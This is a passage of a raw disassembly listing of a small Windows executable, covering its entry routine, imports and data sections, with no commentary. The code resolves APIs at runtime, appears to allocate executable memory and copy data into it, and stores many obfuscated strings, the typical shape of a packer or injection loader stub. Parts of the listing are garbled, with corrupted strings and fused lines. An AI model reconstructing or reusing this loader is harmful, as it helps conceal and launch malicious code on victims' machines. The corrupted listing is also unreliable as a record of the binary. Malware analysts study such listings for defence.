[ebp+var_4] sub eax, dword_40326C push eax push dword_4312A8 push offset a786jy44yhr ; "786jy44yhr" call sub_40102B lea ecx, [ebp+var_8] push ecx mov ecx, [ebp+var_4] sub ecx, dword_40326C push ecx push ebx push eax push ebx call sub_401BB1 push [ebp+var_8] push eax push offset a9k54hr3tre ; "9k54hr3tre" call sub_40102B add esp, 2Ch mov dword_40326C, ebx mov dword_403274, eax pop ebx leave retn sub_401BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near var_524 = byte ptr -524h var_258 = byte ptr -258h var_158 = byte ptr -158h var_78 = byte ptr -78h var_38 = byte ptr -38h var_28 = byte ptr -28h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 524h push ebx push esi push edi call sub_401877 call sub_4017D8 test al, al jnz loc_401E37 push 100h lea eax, [ebp+var_258] push eax xor ebx, ebx push ebx call dword_4032F0 lea eax, [ebp+var_258] push eax push ebx call sub_401BF5 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_158] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_78] push eax call sub_401160 add esp, 18h test al, al jz loc_401E37 push [ebp+var_8] lea eax, [ebp+var_158] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_78] push eax call sub_40132F add esp, 10h push 40h push 1000h push eax push ebx mov [ebp+var_4], eax call dword_4032D0 push eax push [ebp+var_8] mov dword_4312B0, eax lea eax, [ebp+var_158] push eax push ebx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_78] push eax call sub_4013A5 push ebx lea eax, [ebp+var_10] push eax lea eax, [ebp+var_524] push eax push ebx lea eax, [ebp+var_38] push eax lea eax, [ebp+var_258] push eax call sub_40159B add esp, 30h push [ebp+var_C] mov ecx, 0B3h push [ebp+var_10] lea esi, [ebp+var_524] sub esp, 2CCh mov edi, esp sub esp, 10h rep movsd mov edi, esp lea eax, [ebp+var_258] push eax push [ebp+var_4] lea esi, [ebp+var_38] push dword_4312B0 movsd push [ebp+var_8] movsd lea eax, [ebp+var_158] push eax push ebx lea eax, [ebp+var_28] movsd push eax lea eax, [ebp+var_78] push eax movsd call sub_401656 add esp, 304h push ebx push [ebp+var_4] push dword_4312B0 push dword_4312C8 push dword_4312B8 call dword_4032E4 push [ebp+var_4] test eax, eax setnz al push ebx mov byte_4312BC, al call sub_4017AC pop ecx pop ecx loc_401E37: ; CODE XREF: start+18j start+5Dj pop edi pop esi xor eax, eax pop ebx leave retn start endp ; --------------------------------------------------------------------------- align 200h _text ends ; Section 2. (virtual address 00002000) ; Virtual size : 000000B8 ( 184.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00001400 ; Flags 40000040: Data Readable ; Alignment : default ; ; Imports from KERNEL32.dll ; ; =========================================================================== ; Segment type: Externs ; _idata ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn FreeLibrary:dword ; CODE XREF: sub_401877+32Cp ; DATA XREF: sub_401877+32Cr ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn GetProcAddress:dword ; CODE XREF: sub_401877+69p ; sub_401877+82p ... ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; CODE XREF: sub_401877+21p ; sub_401877+36p ... ; HGLOBAL __stdcall GlobalAlloc(UINT uFlags, SIZE_T dwBytes) extrn GlobalAlloc:dword ; CODE XREF: sub_401000+8p ; DATA XREF: sub_401000+8r ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 402010h dd 0 dword_402014 dd 30h a9k54hr3tre db '9k54hr3tre',0 ; DATA XREF: sub_401BF5+D4o align 4 a786jy44yhr db '786jy44yhr',0 ; DATA XREF: sub_401BF5+B0o align 10h db 'X ',0 align 4 dd 2 dup(0) dd 20AAh, 2000h, 5 dup(0) dd 207Ah, 2088h, 209Ah, 206Ch, 0 dd 6C4701EEh, 6C61626Fh, 6F6C6C41h, 0EF0063h, 65657246h dd 7262694Ch, 797261h, 65470198h, 6F725074h, 64644163h dd 73736572h, 2480000h, 64616F4Ch, 7262694Ch, 41797261h dd 454B0000h, 4C454E52h, 642E3233h, 6C6Ch, 52h dup(0) _rdata ends ; Section 3. (virtual address 00003000) ; Virtual size : 0002E2CC ( 189132.) ; Section size in file : 00000400 ( 1024.) ; Offset to raw data for section: 00001600 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 403000h dword_403000 dd 4FB47895h, 0F67297DDh, 739E72EFh, 55107358h, 19DB44h ; DATA XREF: sub_4017D8+22o dword_403014 dd 4FA87E80h, 977299DAh, 759F7FD3h, 0dword_403024 dd 4FA87E80h, 977299DAh, 759F7FD3h, 5771haSrovKUszqaWts db 'rvkUzQa<WT',0 ; DATA XREF: sub_401877+1EAo align 4 dword_403048 dd 558F608Ch, 806E99C2h, 598776D6h, 59387C52h, 0D713C145h ; DATA XREF: sub_401877+BBo dd 0 aReUsDAi db 'e^|a',0 aXeZAndPxegn db 'eZNpeGn',0 ; DATA XREF: sub_401877+D4o align 4 aRiuFFswZ db 'rUʔ-wz',0 ; DATA XREF: sub_401877+25o align 4 aSrooKPqx@jN db 'roNJ{Px@J%N',0 ; DATA XREF: sub_401877+183o align 10h dword_4030A0 dd 5FBB7284h, 0B5718AFFh, 5B8360DAh, 48324251h, 48h ; DATA XREF: sub_401877+1B8o aDrJAlpsrCqj db 'rjڝlrcQj%{',0 ; DATA XREF: sub_401877+19Co align 4 dword_4030C8 dd 4FA87E80h, 867299DAh, 73847CCDh, 42185B57h, 0 ; DATA XREF: sub_401877+21Fo aBeOIlVgeyj0uc db 'eOʨlveyJ0UC',0 ; DATA XREF: sub_401877+86o align 10h aEKtckeQeb@@3i db '`KkQb@@3I',0 ; DATA XREF: sub_4017D8+60o align 4 aErooKPqx@jN db 'roNJ{Px@J%N',0 ; DATA XREF: sub_401877+138o align 4 dword_403118 dd 7A8C5397h, 0E42DB1FFh, 7A9C7791h, 0aDrinAjVsr db 'rNJvr',0 ; DATA XREF: sub_401877+EDo align 4 dd 56A87282h, 0A27F96C6h, 798243DAh, 492E4A57h, 0 aAIoSrrVx db '~Oڙrv',0 aEroFJZubq db 'r}Ɣ{zbQ]',0 align 4 aE db '{^',0 align 10h dd 48B57B95h, 0B87FB0CAh, 957FDBh, 77AE7291h, 0BA7F9BC0h dd 739D7AEBh, 0 aCWZ db 'cWz',0 ; DATA XREF: sub_401877+7o align 4 dd 77AE7285h, 0BA7F9BC0h, 739D7AEBh, 0 dword_4031A8 dd 7FB66384h, 0BB719BCAh, 659561CFh, 5C286D47h, 0ECD57h ; DATA XREF: sub_401877+251o aXeZAxV db 'eZXv',0 ; DATA XREF: sub_401877+11Fo aDr_ssr db 'r_r',0 ; DATA XREF: sub_401877+16Ao align 4 dword_4031D4 dd 7CB66384h, 0B95D8CCAh, 738263D2h, 55345C47h, 0CB13FF5Fh ; DATA XREF: sub_401877+151o dd 0FF2D5129h, 8906302Ah, 0B40Ah aSroFEIx db 'r}Ɣ{i',0 ; DATA XREF: sub_401877+238o aDcXXndGtai_c db 'cxn`TAI;_C',0 ; DATA XREF: sub_401877+4Fo align 4 aSronAlsXw db 'rnܝl~W',0 align 4 aDrTApaJ db 'rtߝpj',0 ; DATA XREF: sub_401877+203o aSmzSFswZ db 'sZߑ-wz',0 align 10h dword_403240 dd 78BD7284h, 0B36D97C3h, 8976F4haAIoSrzVvoqw db '~OڙrvoqW',0 ; DATA XREF: sub_401877+1D1o align 4 aKqowdsv3t35s db 'kqowdsv3t35s',0 ; DATA XREF: sub_4017D8+27o ; sub_401877+Co align 4 dword_40326C dd 1A00h ; sub_401160+9Cr ... byte_403270 db 0 ; DATA XREF: sub_401160+4Bw ; sub_4013A5+2Fw ... align 4 dword_403274 dd 0 ; sub_401160+9r ... dword_403278 dd 0 ; sub_401877+10Cw ... dword_40327C dd 0 ; sub_401656+A5r ... dword_403280 dd 0 ; sub_401877+C1w ... dword_403284 dd 0 ; sub_401BF5+4Cr dword_403288 dd 0 ; sub_401877+DAw ... dword_40328C dd 0 ; sub_401877+1D7w ... byte_403290 db 0 ; DATA XREF: sub_401160+1Aw ; sub_401160+45w ... align 4 dword_403294 dd 0 ; sub_4017ACr dword_403298 dd 0 ; sub_401877+2C3r ... dword_40329C dd 0 ; sub_401877+31Fr ... dword_4032A0 dd 0 ; sub_401877+2BBr ... dword_4032A4 dd 3 dup(0) dword_4032B0 dd 0 dword_4032B4 dd 0 align 10h dword_4032C0 dd 0 ; sub_401877+313r dword_4032C4 dd 0 ; sub_401BB1+38r align 10h dword_4032D0 dd 0 ; sub_401877+26Ar ... dword_4032D4 dd 0 ; sub_401877+225w ... dword_4032D8 dd 0 ; sub_401877+1A2w ... dword_4032DC dd 0 dword_4032E0 dd 0 ; sub_401877+2CBr ... dword_4032E4 dd 0 ; sub_401877+A5w ... byte_4032E8 db 0 ; DATA XREF: sub_401160+2Aw ; sub_401160+33w ... align 4 dword_4032EC dd 0 ; sub_401877+157w ... dword_4032F0 dd 0 ; sub_401877+2F3r ... align 8 byte_4032F8 db 0 ; DATA XREF: sub_40113B+17w ; sub_401160+87o ... dword_4032F9 dd 0 ; sub_401160+C3r ... align 10h dd 4 dup(0) byte_403310 db 0 ; DATA XREF: sub_401160+B4w align 4 dd 9 dup(0) byte_403338 db 0 ; DATA XREF: sub_401160+63w align 4 dd 27h dup(0) byte_4033D8 db 0 ; DATA XREF: sub_401160+103w align 4 dd 9 dup(0) dd 0B7A8h dup(?) dword_4312A0 dd ? ; sub_401877+1F0w ... dword_4312A4 dd ? dword_4312A8 dd ? ; sub_401BF5+7Ar ... dword_4312AC dd ? ; sub_401877+F3w ... dword_4312B0 dd ? dword_4312B4 dd ? ; sub_401877+23Ew ... dword_4312B8 dd ? ; start+132r byte_4312BC db ? ; DATA XREF: sub_4017AC+6w start+147w align 10h dword_4312C0 dd ? ; sub_401877+1BEw ... dword_4312C4 dd ? ; sub_401BF5+2Ew ... dword_4312C8 dd ? ; sub_401656+7Fw ... align 200h _data ends end start